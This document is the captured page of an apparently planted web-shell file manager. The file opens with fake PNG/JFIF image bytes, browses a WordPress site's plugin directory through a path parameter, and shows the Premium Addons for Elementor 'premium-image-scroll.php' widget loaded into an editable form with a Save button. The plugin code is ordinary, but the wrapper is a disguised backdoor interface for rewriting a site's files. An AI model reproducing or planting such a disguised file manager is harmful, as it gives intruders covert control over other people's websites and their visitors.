�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fhome%2F'>home</a>/<a href='?path=%2Fhome%2Fmycooffi%2F'>mycooffi</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2F'>public_html</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Fpremium-addons-for-elementor%2F'>premium-addons-for-elementor</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Fpremium-addons-for-elementor%2Fwidgets%2F'>widgets</a>/</p><hr><h3>✏️ Editing: premium-image-scroll.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

/**
 * Class: Premium_Image_Scroll
 * Name: Image Scroll
 * Slug: premium-image-scroll
 */

namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) exit;

class Premium_Image_Scroll extends Widget_Base {
    
    public function getTemplateInstance() {
		return $this-&gt;templateInstance = premium_Template_Tags::getInstance();
    }
    
    public function get_name() {
        return 'premium-image-scroll';
    }

    public function get_title() {
		return \PremiumAddons\Helper_Functions::get_prefix() . ' Image Scroll';
    }
    
    public function is_reload_preview_required() {
        return true;
    }

    public function get_icon() {
        return 'pa-image-scroll';
    }

    public function get_categories() {
        return [ 'premium-elements' ];
    }

    public function get_script_depends() {
        return [
            'imagesloaded',
            'premium-addons-js'
        ];
    }

    protected function _register_controls() {

		$this-&gt;start_controls_section('general_settings',
            [
                'label'         =&gt; __('Image Settings', 'premium-addons-for-elementor')
            ]
        );

		$this-&gt;add_control('image',
			[
                'label'         =&gt; __('Image', 'premium-addons-for-elementor'),
					'type'          =&gt; Controls_Manager::MEDIA,
					'dynamic'       =&gt; [ 'active' =&gt; true ],
					'default'       =&gt; [
						'url'	=&gt; Utils::get_placeholder_image_src(),
						],
					'description'   =&gt; __('Choose the scroll image', 'premium-addons-for-elementor' ),
					'label_block'   =&gt; true
			]
        );
        
		$this-&gt;add_responsive_control('image_height',
            [
                'label'         =&gt; __('Image Height', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SLIDER,
                'size_units'    =&gt; ['px', 'em', 'vh'],
                'default'       =&gt; [
                    'unit'  =&gt; 'px',
                    'size'  =&gt; 300,
                ],
                'range'         =&gt; [
                    'px'    =&gt; [
                        'min'   =&gt; 200,
                        'max'   =&gt; 800,
                    ],
                    'em'    =&gt; [
                        'min'   =&gt; 1,
                        'max'   =&gt; 50,
                    ],
                ],
                'selectors'     =&gt; [
                    '{{WRAPPER}} .premium-image-scroll-container' =&gt; 'height: {{SIZE}}{{UNIT}};',
                ]
            ]
        );

        $this-&gt;add_control('link_switcher', 
            [
                'label'         =&gt; __('Link', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SWITCHER,
                'description'   =&gt; __('Add a custom link or select an existing page link','premium-addons-for-elementor'),
            ]
        );

        $this-&gt;add_control('link_type', 
            [
                'label'         =&gt; __('Link/URL', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SELECT,
                'options'       =&gt; [
                    'url'   =&gt; __('URL', 'premium-addons-for-elementor'),
                    'link'  =&gt; __('Existing Page', 'premium-addons-for-elementor'),
                ],
                'default'       =&gt; 'url',
                'condition'     =&gt; [
                    'link_switcher'  =&gt; 'yes',
                ],
                'label_block'   =&gt; true,
            ]
        );

        $this-&gt;add_control('link',
            [
                'label'         =&gt; __('URL', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::URL,
                'placeholder'   =&gt; 'https://premiumaddons.com/',
                'label_block'   =&gt; true,
                'condition'     =&gt; [
                	'link_switcher'	=&gt; 'yes',
                    'link_type' =&gt; 'url'
                ]
            ]
        );

        $this-&gt;add_control('existing_page', 
            [
                'label'         =&gt; __('Existing Page', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SELECT2,
                'options'       =&gt; $this-&gt;getTemplateInstance()-&gt;get_all_post(),
                'condition'     =&gt; [
                    'link_switcher'  =&gt; 'yes',
                    'link_type'     =&gt; 'link',
                ],
                'label_block'   =&gt; true,
            ]
        );

        $this-&gt;add_control('link_text',
            [
                'label'         =&gt; __('Link Title', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::TEXT,
                'condition'     =&gt; [
                    'link_switcher' =&gt; 'yes',
                ],
                'label_block'   =&gt; true
            ]
        );

        $this-&gt;end_controls_section();

        $this-&gt;start_controls_section('advanced_settings',
			[
				'label' =&gt; __( 'Advanced Settings' , 'premium-addons-for-elementor' )
			]
        );

        $this-&gt;add_control('direction_type',
            [
                'label'			 =&gt; __( 'Direction', 'premium-addons-for-elementor' ),
                'description'	 =&gt; __( 'Select Scroll Direction', 'premium-addons-for-elementor' ),
                'type'			 =&gt; Controls_Manager::SELECT,
                'options'		 =&gt; [
                    'horizontal' =&gt; __( 'Horizontal', 'premium-addons-for-elementor' ),
                    'vertical'   =&gt; __( 'Vertical', 'premium-addons-for-elementor' )
                ],
                'default'		=&gt; 'vertical'
            ]
        );
        
        $this-&gt;add_control('reverse',
            [
                'label'			=&gt; __( 'Reverse Direction', 'premium-addons-for-elementor' ),
                'type'			=&gt; Controls_Manager::SWITCHER,
                'condition'     =&gt; [
                    'trigger_type' =&gt; 'hover',
                ]
            ]
        );

        $this-&gt;add_control('trigger_type', 
            [
                'label'         =&gt; __('Trigger', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SELECT,
                'options'       =&gt; [
                    'hover'   =&gt; __('Hover', 'premium-addons-for-elementor'),
                    'scroll'  =&gt; __('Mouse Scroll', 'premium-addons-for-elementor'),
                ],
                'default'       =&gt; 'hover',
            ]
        );

        $this-&gt;add_control('duration_speed',
            [
                'label'			=&gt; __( 'Speed', 'premium-addons-for-elementor' ),
                'description'	=&gt; __( 'Set the scroll speed value. The value will be counted in seconds (s)', 'premium-addons-for-elementor' ),
                'type'			=&gt; Controls_Manager::NUMBER,
                'default'		=&gt; 3,
                'condition'     =&gt; [
                    'trigger_type' =&gt; 'hover',
                ],
                'selectors' =&gt; [
                    '{{WRAPPER}} .premium-image-scroll-container .premium-image-scroll-image'   =&gt; 'transition: all {{Value}}s; -webkit-transition: all {{Value}}s;',
                ]
            ]
        );
        
        $this-&gt;add_control('icon_switcher',
            [
                'label'         =&gt; __('Icon', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SWITCHER,
            ]
        );

        $this-&gt;add_control('icon_size',
            [
                'label'         =&gt; __('Icon Size', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SLIDER,
                'size_units'    =&gt; ['px','em'],
                'default'       =&gt; [
                    'size'  =&gt; 30,
                ],
                'range'         =&gt; [
                    'px'    =&gt; [
                        'min' =&gt; 5,
                        'max' =&gt; 100
                    ],
                ],
                'selectors'         =&gt; [
                    '{{WRAPPER}} .premium-image-scroll-icon' =&gt; 'font-size: {{SIZE}}{{UNIT}};',
                ],
                'condition'      =&gt; [
                    'icon_switcher' =&gt; 'yes'
                ]
            ]
        );

        $this-&gt;add_control('overlay',
            [
                'label'         =&gt; __('Overlay','premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SWITCHER,
                'label_on'      =&gt; __('Show','premium-addons-for-elementor'),
                'label_off'     =&gt; __('Hide','premium-addons-for-elementor'),
                
            ]
        );

        $this-&gt;end_controls_section();

        $this-&gt;start_controls_section('image_style',
            [
                'label'         =&gt; __('Image', 'premium-addons-for-elementor'),
                'tab'           =&gt; Controls_Manager::TAB_STYLE,
            ]
        );
        
        $this-&gt;add_control('icon_color',
            [
                'label'         =&gt; __('Icon Color', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::COLOR,
                'selectors'     =&gt; [
                    '{{WRAPPER}} .premium-image-scroll-icon'  =&gt; 'color: {{VALUE}};'
                ],
                'condition'     =&gt; [
                    'icon_switcher'  =&gt; 'yes'
                ]
            ]
        );
        
        $this-&gt;add_control('overlay_background',
            [
                'label'         =&gt; __('Overlay Color', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::COLOR,
                'selectors'     =&gt; [
                    '{{WRAPPER}} .premium-image-scroll-overlay'  =&gt; 'background: {{VALUE}};'
                ],
                'condition'     =&gt; [
                    'overlay'  =&gt; 'yes'
                ]
            ]
        );
        
        $this-&gt;start_controls_tabs('image_style_tabs');
        
        $this-&gt;start_controls_tab('image_style_tab_normal',
            [
                'label'         =&gt; __('Normal', 'premium-addons-for-elementor'),
            ]
        );

        $this-&gt;add_group_control(
            Group_Control_Css_Filter::get_type(),
            [
                'name' =&gt; 'css_filters',
                'selector' =&gt; '{{WRAPPER}} .premium-image-scroll-container .premium-image-scroll-image',
            ]
        );
        
        $this-&gt;end_controls_tab();
        
        $this-&gt;start_controls_tab('image_style_tab_hover',
            [
                'label'         =&gt; __('Hover', 'premium-addons-for-elementor'),
            ]
        );
        
        $this-&gt;add_group_control(
            Group_Control_Css_Filter::get_type(),
            [
                'name' =&gt; 'css_filters_hover',
                'selector' =&gt; '{{WRAPPER}} .premium-image-scroll-container .premium-image-scroll-image:hover',
            ]
        );
        
        $this-&gt;end_controls_tab();
        
        $this-&gt;end_controls_tabs();
        
        $this-&gt;end_controls_section();

        $this-&gt;start_controls_section('container_style',
            [
                'label'     =&gt; __('Container','premium-addons-for-elementor'),
                'tab'       =&gt; Controls_Manager::TAB_STYLE,
            ]
        );
        
        $this-&gt;start_controls_tabs('container_style_tabs');

        $this-&gt;start_controls_tab('container_style_normal',
            [
                'label'         =&gt; __('Normal', 'premium-addons-for-elementor'),
            ]
        );
        
        $this-&gt;add_group_control(
            Group_Control_Border::get_type(),
            [
                'name'              =&gt; 'container_border',
                'selector'          =&gt; '{{WRAPPER}} .premium-image-scroll-section',
            ]
        );

        $this-&gt;add_control('container_border_radius',
            [
                'label'         =&gt; __('Border Radius', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SLIDER,
                'size_units'    =&gt; ['px', '%', 'em'],
                'selectors'     =&gt; [
                    '{{WRAPPER}} .premium-image-scroll-section, {{WRAPPER}} .premium-container-scroll' =&gt; 'border-radius: {{SIZE}}{{UNIT}}'
                ]
            ]
        );
        
        $this-&gt;add_group_control(
            Group_Control_Box_Shadow::get_type(),
            [
                'name'              =&gt; 'container_box_shadow',
                'selector'          =&gt; '{{WRAPPER}} .premium-image-scroll-section',
            ]
        );

        $this-&gt;end_controls_tab();

        $this-&gt;start_controls_tab('container_style_hover',
            [
                'label'         =&gt; __('Hover', 'premium-addons-for-elementor'),
            ]
        );

        $this-&gt;add_group_control(
            Group_Control_Border::get_type(),
            [
                'name'              =&gt; 'container_border_hover',
                'selector'          =&gt; '{{WRAPPER}} .premium-image-scroll-section:hover',
            ]
        );

        $this-&gt;add_control('container_border_radius_hover',
            [
                'label'         =&gt; __('Border Radius', 'premium-addons-for-elementor'),
                'type'          =&gt; Controls_Manager::SLIDER,
                'size_units'    =&gt; ['px', '%', 'em'],
                'selectors'     =&gt; [
                    '{{WRAPPER}} .premium-image-scroll-section:hover, {{WRAPPER}} .premium-container-scroll:hover' =&gt; 'border-radius: {{SIZE}}{{UNIT}}'
                ]
            ]
        );
        
        $this-&gt;add_group_control(
            Group_Control_Box_Shadow::get_type(),
            [
                'name'              =&gt; 'container_box_shadow_hover',
                'selector'          =&gt; '{{WRAPPER}} .premium-image-scroll-section:hover',
            ]
        );

        $this-&gt;end_controls_tab();

        $this-&gt;end_controls_tabs();

        $this-&gt;end_controls_section();

    }
    
    protected function render() {
        
        $settings = $this-&gt;get_settings_for_display();

        $alt = esc_attr( Control_Media::get_image_alt( $settings['image'] ) );

        $link_type = $settings['link_type'];

        $link_url = ( 'url' == $link_type ) ? $settings['link']['url'] : get_permalink( $settings['existing_page'] );
       
        if ( $settings['link_switcher'] == 'yes' ) {
            $this-&gt;add_render_attribute( 'link', 'class', 'premium-image-scroll-link' );

            if( ! empty( $settings['link']['is_external'] ) ) {
                $this-&gt;add_render_attribute( 'link', 'target', &quot;_blank&quot; );
            }

            if( ! empty( $settings['link']['nofollow'] ) ) {
                $this-&gt;add_render_attribute( 'link', 'rel',  &quot;nofollow&quot; );
            }

            if( ! empty( $settings['link_text'] ) ) {
                $this-&gt;add_render_attribute( 'link', 'title', $settings['link_text'] );
            }

            if( ! empty( $settings['link']['url'] ) || ! empty( $settings['existing_page'] ) ) {
                $this-&gt;add_render_attribute( 'link', 'href',  $link_url );
            }
        }
       
        if ( $settings['icon_switcher'] ) {
            $icon_type = sprintf('pa-%s-mouse-scroll', $settings['direction_type'] );
        }
        

        $image_scroll = [
            'trigger'     =&gt; $settings['trigger_type'] ,
            'direction'   =&gt; $settings['direction_type'],
            'reverse'     =&gt; $settings['reverse']
        ];

        $this-&gt;add_render_attribute( 'container', 'class', 'premium-image-scroll-container' );
  
        $this-&gt;add_render_attribute( 'container', 'data-settings', wp_json_encode( $image_scroll ) );
        
        $this-&gt;add_render_attribute( 'direction_type', 'class', 'premium-image-scroll-'.$settings['direction_type'] );
       
        $this-&gt;add_render_attribute( 'image', 'class', 'premium-image-scroll-image' );
       
        $this-&gt;add_render_attribute( 'image', 'src', $settings['image']['url'] );

        $this-&gt;add_render_attribute( 'image', 'alt', $alt );

        ?&gt;
            &lt;div class=&quot;premium-image-scroll-section&quot;&gt;
                &lt;div &lt;?php echo $this-&gt;get_render_attribute_string('container'); ?&gt;&gt;
                    &lt;?php if( 'yes' == $settings['icon_switcher'] ) : ?&gt;
                        &lt;div class=&quot;premium-image-scroll-content&quot;&gt;
                            &lt;i class=&quot;premium-image-scroll-icon &lt;?php echo $icon_type ?&gt;&quot;&gt;&lt;/i&gt;
                        &lt;/div&gt;
                    &lt;?php endif; ?&gt;
                    &lt;div &lt;?php echo $this-&gt;get_render_attribute_string('direction_type'); ?&gt;&gt;
                        &lt;?php  if($settings['overlay'] == 'yes') : ?&gt;
                            &lt;div class=&quot;premium-image-scroll-overlay&quot;&gt;
                        &lt;?php endif;
                            if ( $settings['link_switcher'] == 'yes' &amp;&amp; ! empty( $link_url ) ) : ?&gt;
                                &lt;a &lt;?php echo $this-&gt;get_render_attribute_string('link'); ?&gt;&gt;&lt;/a&gt;
                        &lt;?php endif;
                            if( $settings['overlay'] == 'yes' ) : ?&gt;
                            &lt;/div&gt; 
                        &lt;?php endif; ?&gt;
                        &lt;img &lt;?php echo $this-&gt;get_render_attribute_string('image'); ?&gt;&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;?php
      
    }
    
    protected function _content_template() {
    ?&gt;
        &lt;#
        
            var linkType = settings.link_type,
                trigger = settings.trigger_type,
                direction = settings.direction_type,
                reverse = settings.reverse,
                url;
            
            var scrollSettings = {};
            
            scrollSettings.trigger = trigger;
            scrollSettings.direction = direction,
            scrollSettings.reverse  = reverse;
            
            if ( 'yes' == settings.icon_switcher ) {
            
                var iconClass = 'pa-' + direction + '-mouse-scroll';
            
            }
            
            
            if ( 'yes' == settings.link_switcher ) {
                view.addRenderAttribute( 'link', 'class', 'premium-image-scroll-link' );
                url = 'url' == linkType ? settings.link.url : settings.existing_page;
                view.addRenderAttribute( 'link', 'href',  url );
                
                if ( 'yes' == settings.link_switcher ) {
                    view.addRenderAttribute( 'link', 'title', settings.link_text );
                }
            }
            
            view.addRenderAttribute( 'container', 'class', 'premium-image-scroll-container' );

            view.addRenderAttribute( 'container', 'data-settings', JSON.stringify(scrollSettings) );
            
            view.addRenderAttribute( 'direction_type', 'class', 'premium-image-scroll-' + direction );

            view.addRenderAttribute( 'image', 'class', 'premium-image-scroll-image' );

            view.addRenderAttribute( 'image', 'src', settings.image.url );

        #&gt;
        
        &lt;div class=&quot;premium-image-scroll-section&quot;&gt;
            &lt;div {{{ view.getRenderAttributeString('container') }}}&gt;
                &lt;# if (  'yes' == settings.icon_switcher ) { #&gt;
                    &lt;div class=&quot;premium-image-scroll-content&quot;&gt;   
                        &lt;i class=&quot;premium-image-scroll-icon {{ iconClass }}&quot;&gt;&lt;/i&gt;
                    &lt;/div&gt;
                &lt;# } #&gt;
                &lt;div {{{ view.getRenderAttributeString('direction_type') }}}&gt;
                    &lt;# if( 'yes' == settings.overlay ) { #&gt;
                        &lt;div class=&quot;premium-image-scroll-overlay&quot;&gt;
                    &lt;# }
                    if ( 'yes' == settings.link_switcher &amp;&amp; '' !=  url ) { #&gt;
                        &lt;a {{{ view.getRenderAttributeString('link') }}}&gt;&lt;/a&gt;
                    &lt;# }
                    if( 'yes' == settings.overlay ) { #&gt;
                        &lt;/div&gt; 
                    &lt;# } #&gt;
                    &lt;img {{{ view.getRenderAttributeString('image') }}}&gt; 
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        
    &lt;?php 
    }
    
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Fpremium-addons-for-elementor%2Fwidgets'>🔙 Back</a></p>